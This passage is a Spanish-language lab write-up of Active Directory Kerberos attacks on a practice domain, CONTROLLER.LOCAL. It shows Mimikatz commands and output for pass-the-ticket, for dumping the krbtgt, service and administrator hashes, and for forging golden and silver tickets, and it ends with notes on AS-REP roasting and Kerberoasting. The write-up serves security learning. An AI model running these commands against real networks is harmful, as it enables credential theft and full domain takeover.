        Group 0 - Ticket Granting Service

        Group 1 - Client Ticket ?

        Group 2 - Ticket Granting Ticket

mimikatz # kerberos::ptt [0;37212]-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi

* File: '[0;37212]-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi': OK

mimikatz # exit
Bye!

controller\administrator@CONTROLLER-1 C:\Users\Administrator\Downloads>klist

Current LogonId is 0:0x37212

Cached Tickets: (1)

#0>     Client: Administrator @ CONTROLLER.LOCAL
        Server: krbtgt/CONTROLLER.LOCAL @ CONTROLLER.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 5/24/2025 15:46:27 (local)
        End Time:   5/25/2025 1:46:27 (local)
        Renew Time: 5/31/2025 15:46:27 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:
📌 Parámetros
  • privilege::debug Este comando habilita privilegios especiales necesarios para que Mimikatz pueda acceder a la memoria de procesos protegidos como LSASS. Esencialmente, permite que Mimikatz funcione con permisos de depuración a nivel de sistema. Requiere que Mimikatz se ejecute como administrador, por eso nos conectamos al ssh con sus credenciales.

  • sekurlsa::tickets /export Este comando le indica a Mimikatz que acceda a LSASS (Local Security Authority Subsystem Service) y extraiga todos los tickets Kerberos actualmente almacenados en memoria para el usuario logueado o para sesiones activas. El modificador /export hace que cada uno de estos tickets sea guardado como un archivo .kirbi, el formato estándar de tickets Kerberos que Mimikatz puede importar o reutilizar.

  • * Saved to file [0;37212]-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi ! Esto significa que Mimikatz encontró un TGT (ticket de autenticación inicial) para la cuenta Administrator, emitido por el KDC del dominio CONTROLLER.LOCAL, y lo guardó como archivo .kirbi.

  • kerberos::ptt [0;37212]-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi Este comando realiza el ataque Pass-the-Ticket (PTT) propiamente dicho. Lo que hace es inyectar el ticket Kerberos .kirbi previamente extraído en la sesión actual del sistema operativo. A partir de ese momento, el sistema cree que el usuario posee ese ticket válido, por lo que puede autenticarse como si fuera el usuario original del ticket (en este caso, Administrator).

  • klist Este comando es una herramienta nativa de Windows que muestra los tickets Kerberos actualmente cargados en la sesión del usuario. Después del kerberos::ptt, al ejecutar klist se debería mostrar el TGT inyectado, confirmando que la suplantación de identidad fue exitosa.

Golden/Silver Ticket Attack con Mimikatz

En un entorno de Active Directory, los ataques de Golden Ticket y Silver Ticket son técnicas de suplantación basadas en la manipulación de tickets Kerberos, y aunque ambos permiten autenticación sin necesidad de credenciales válidas, difieren en su alcance y discreción. Un Golden Ticket se genera al comprometer la cuenta de servicio krbtgt, que es utilizada por el KDC (Key Distribution Center) para firmar todos los Ticket Granting Tickets (TGT) del dominio. Con el hash NTLM de esta cuenta, un atacante puede forjar TGTs arbitrarios para cualquier cuenta, incluso para un administrador de dominio, y obtener acceso a cualquier servicio Kerberos en el dominio. Esto convierte al Golden Ticket en un arma extremadamente poderosa, pero también más susceptible a detección por mecanismos de seguridad que supervisan la emisión de tickets en el KDC.

En contraste, un Silver Ticket se basa en la suplantación de un Service Ticket (TGS) directamente, sin necesidad de interactuar con el KDC. Para generarlo, el atacante necesita conocer el SPN (Service Principal Name) del servicio objetivo, el nombre de usuario asociado y el hash NTLM de la cuenta de servicio. Esto se puede lograr, por ejemplo, mediante un ataque de Kerberoasting. Una vez generado, el ticket puede ser inyectado con herramientas como Mimikatz, permitiendo el acceso al servicio en cuestión (como un servidor SQL), incluso si el usuario originalmente comprometido no tenía permisos para ello. Aunque su alcance es limitado al servicio objetivo, el Silver Ticket es más sigiloso, ya que no requiere comunicación con el KDC y, por ende, puede evadir ciertas medidas de detección basadas en logs del controlador de dominio.

golden con cuenta del krbtgt

controller\administrator@CONTROLLER-1 C:\Users\Administrator\Downloads>mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59              
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)                               
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )  
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz                    
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com ) 
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/ 

mimikatz # privilege::debug 
Privilege '20' OK 
                  
mimikatz # lsadump::lsa /inject /name:krbtgt 
Domain : CONTROLLER / S-1-5-21-432953485-3795405108-1502158860 
                                                               
RID  : 000001f6 (502)                                          
User : krbtgt                                                  
                                                               
 * Primary                                                     
    NTLM : 72cd714611b64cd4d5550cd2759db3f6                    
    LM   :                                                     
  Hash NTLM: 72cd714611b64cd4d5550cd2759db3f6                  
    ntlm- 0: 72cd714611b64cd4d5550cd2759db3f6                  
    lm  - 0: aec7e106ddd23b3928f7b530f60df4b6                  
                                                               
 * WDigest                                                     
    01  d2e9aa3caa4509c3f11521c70539e4ad                       
    02  c9a868fc195308b03d72daa4a5a4ee47                       
    03  171e066e448391c934d0681986f09ff4                       
    04  d2e9aa3caa4509c3f11521c70539e4ad 
    05  c9a868fc195308b03d72daa4a5a4ee47 
    06  41903264777c4392345816b7ecbf0885 
    07  d2e9aa3caa4509c3f11521c70539e4ad 
    08  9a01474aa116953e6db452bb5cd7dc49 
    09  a8e9a6a41c9a6bf658094206b51a4ead 
    10  8720ff9de506f647ad30f6967b8fe61e 
    11  841061e45fdc428e3f10f69ec46a9c6d 
    12  a8e9a6a41c9a6bf658094206b51a4ead 
    13  89d0db1c4f5d63ef4bacca5369f79a55 
    14  841061e45fdc428e3f10f69ec46a9c6d 
    15  a02ffdef87fc2a3969554c3f5465042a 
    16  4ce3ef8eb619a101919eee6cc0f22060 
    17  a7c3387ac2f0d6c6a37ee34aecf8e47e 
    18  085f371533fc3860fdbf0c44148ae730 
    19  265525114c2c3581340ddb00e018683b 
    20  f5708f35889eee51a5fa0fb4ef337a9b 
    21  bffaf3c4eba18fd4c845965b64fca8e2 
    22  bffaf3c4eba18fd4c845965b64fca8e2 
    23  3c10f0ae74f162c4b81bf2a463a344aa 
    24  96141c5119871bfb2a29c7ea7f0facef
    25  f9e06fa832311bd00a07323980819074
    26  99d1dd6629056af22d1aea639398825b 
    27  919f61b2c84eb1ff8d49ddc7871ab9e0
    28  d5c266414ac9496e0e66ddcac2cbcc3b
    29  aae5e850f950ef83a371abda478e05db

 * Kerberos
    Default Salt : CONTROLLER.LOCALkrbtgt
    Credentials
      des_cbc_md5       : 79bf07137a8a6b8f
 
 * Kerberos-Newer-Keys
    Default Salt : CONTROLLER.LOCALkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : dfb518984a8965ca7504d6d5fb1cbab56d444c58ddff6c193b64fe6b6acf1033 
      aes128_hmac       (4096) : 88cc87377b02a885b84fe7050f336d9b
      des_cbc_md5       (4096) : 79bf07137a8a6b8f

 * NTLM-Strong-NTOWF
    Random Value : 4b9102d709aada4d56a27b6c3cd14223

mimikatz # Kerberos::golden /user:krbtgt /domain:controller.local /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt:72cd714611b64cd4d5550cd2759db3f6 /id:502
User      : krbtgt 
Domain    : controller.local (CONTROLLER)
SID       : S-1-5-21-432953485-3795405108-1502158860
User Id   : 502
Groups Id : *513 512 520 518 519
ServiceKey: 72cd714611b64cd4d5550cd2759db3f6 - rc4_hmac_nt
Lifetime  : 5/24/2025 11:26:49 PM ; 5/22/2035 11:26:49 PM ; 5/22/2035 11:26:49 PM
-> Ticket : ticket.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !

silver con cuenta de servicio

mimikatz # lsadump::lsa /inject /name:sqlservice 
Domain : CONTROLLER / S-1-5-21-432953485-3795405108-1502158860 

RID  : 00000455 (1109)
User : sqlservice

 * Primary
    NTLM : cd40c9ed96265531b21fc5b1dafcfb0a
    LM   :
  Hash NTLM: cd40c9ed96265531b21fc5b1dafcfb0a
    ntlm- 0: cd40c9ed96265531b21fc5b1dafcfb0a
    lm  - 0: 7bb53f77cde2f49c17190f7a071bd3a0

 * WDigest
    01  ba42b3f2ef362e231faca14b6dea61ef
    02  00a0374f4ac4bce4adda196e458dd8b8
    03  f39d8d3e34a4e2eac8f6d4b62fe52d06
    04  ba42b3f2ef362e231faca14b6dea61ef
    05  98c65218e4b7b8166943191cd8c35c23
    06  6eccb56cda1444e3909322305ed04b37
    07  25b7998ce2e7b826a576a43f89702921
    08  8609a1da5628a4016d32f9eb73314fa0
    09  277f84c6c59728fb963a6ee1a3b27f0d
    10  63a9f69e8b36c3e0612ec8784b9c7599
    11  47cb5c436807396994f1b9ccc8d2f8e1 
    12  46f2c402d8731ed6dca07f5dbc71a604
    13  2990e284070a014e54c749a6f96f9be7
    14  c059f85b7f01744dc0a2a013978a965f
    15  3600c835f3e81858a77e74370e047e29
    16  bd9c013f8a3f743f8a5b553e8a275a88
    17  c1d94e24d26fdaad4d6db039058c292e
    18  1a433c0634b50c567bac222be4eac871
    19  78d7a7573e4af2b8649b0280cd75636d
    20  136ddfa7840610480a76777f3be007e0
    21  7a4a266a64910bb3e5651994ba6d7fb4
    22  a75ec46a7a473e90da499c599bc3d3cb 
    23  8d3db50354c0744094334562adf74c2a
    24  7d07406132d671f73a139ff89da5d72e
    25  dd1e02d5c5b8ae969d903a0bc63d9191
    26  27da7fc766901eac79eba1a970ceb7da
    27  09333600bcc68ee149f449321a5efb27
    28  1c550f8b3af2eb4efda5c34aa8a1c549
    29  3cd9326a300d2261451d1504832cb062

 * Kerberos
    Default Salt : CONTROLLER.LOCALSQLService
    Credentials
      des_cbc_md5       : 5d5dae0dc10e7aec

 * Kerberos-Newer-Keys 
    Default Salt : CONTROLLER.LOCALSQLService
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : a3a6dbd4d6fa895b600c28bfdaf6b52d59d46a6eb1f455bc08a19b7e8cdab76d
      aes128_hmac       (4096) : 629b46af543142f77cabcf14afb1caea
      des_cbc_md5       (4096) : 5d5dae0dc10e7aec

 * NTLM-Strong-NTOWF
    Random Value : 7e9547ab69f52e42450903ebbe6ad6ec

mimikatz # Kerberos::golden /user:sqlservice /domain:controller.local /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt:cd40c9ed96265531b21fc5b1dafcfb0a /id:1109
User      : sqlservice 
Domain    : controller.local (CONTROLLER)
SID       : S-1-5-21-432953485-3795405108-1502158860
User Id   : 1109
Groups Id : *513 512 520 518 519
ServiceKey: cd40c9ed96265531b21fc5b1dafcfb0a - rc4_hmac_nt
Lifetime  : 5/24/2025 11:24:08 PM ; 5/22/2035 11:24:08 PM ; 5/22/2035 11:24:08 PM
-> Ticket : ticket.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !

silver con cuenta de admin

mimikatz # lsadump::lsa /inject /name:administrator 
Domain : CONTROLLER / S-1-5-21-432953485-3795405108-1502158860 

RID  : 000001f4 (500)
User : administrator

 * Primary
    NTLM : 2777b7fec870e04dda00cd7260f7bee6
    LM   :  
  Hash NTLM: 2777b7fec870e04dda00cd7260f7bee6

 * Kerberos
    Default Salt : WIN-G83IJFV2N03Administrator
    Credentials
      des_cbc_md5       : 918abaf7dcb02ce6

 * Kerberos-Newer-Keys
    Default Salt : WIN-G83IJFV2N03Administrator
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 42b3c13c8c0fef3175eb2b5926f805f919123efd001a9c5a16ee9a86101e32b4
      aes128_hmac       (4096) : d01d6ccf97a2ee214ec7185173a3b659
      des_cbc_md5       (4096) : 918abaf7dcb02ce6 

 * NTLM-Strong-NTOWF
    Random Value : 7bfd4ae86442827fb0db294d5c9855ce

mimikatz # Kerberos::golden /user:administrator /domain:controller.local /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt:2777b7fec870e04dda00cd7260f7bee6 /id:500
User      : administrator 
Domain    : controller.local (CONTROLLER)
SID       : S-1-5-21-432953485-3795405108-1502158860
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: 2777b7fec870e04dda00cd7260f7bee6 - rc4_hmac_nt
Lifetime  : 5/24/2025 11:31:33 PM ; 5/22/2035 11:31:33 PM ; 5/22/2035 11:31:33 PM
-> Ticket : ticket.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !

mimikatz # misc::cmd
Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF619EF43B8

Este segundo ataque no está incluido en el primer escenario, recién lo vemos en la tarea 5, pero podemos realizarlo ya que pudimos encontrar dos cuentas de Active Directory que tienen deshabilitada la pre autenticación en Kerberos. El procedimiento es el siguiente: obtener hashes AS-REP de cuentas con pre autenticación deshabilitada y crackearlos offline con para recuperar contraseñas de usuarios del dominio.

El segundo metodo de obtencion de hashes es con , este otro método lo realizamos desde la consola de kali, no tenemos que estar necesariamente dentro del equipo objetivo

Al usar impacket-GetUserSPNs para extraer los hashes vamos a agregarle en la última parte del comando el >> hashes.txt para que todos los hashes capturados se almacenen allí y luego podamos crackearlos directamente con .

Una vez que crackeamos los hashes vamos a tener las contraseñas de los servicios http y sql en nuestro poder. Nota: en esta tarea nos recomiendan el siguiente diccionario para crackear los hashes:

El procedimiento del ataque es sencillo, debemos descargar los hashes con o Rubeus y luego crackearlos con o Hashcat

👾
Introducción al Protocolo de Autenticación Kerberos
Kerbrute
John the Ripper
John the Ripper
Active Directory Wordlists
Primeros pasos en BloodHound
John the Ripper
impacket-GetUserSPNs
impacket-GetNPUsers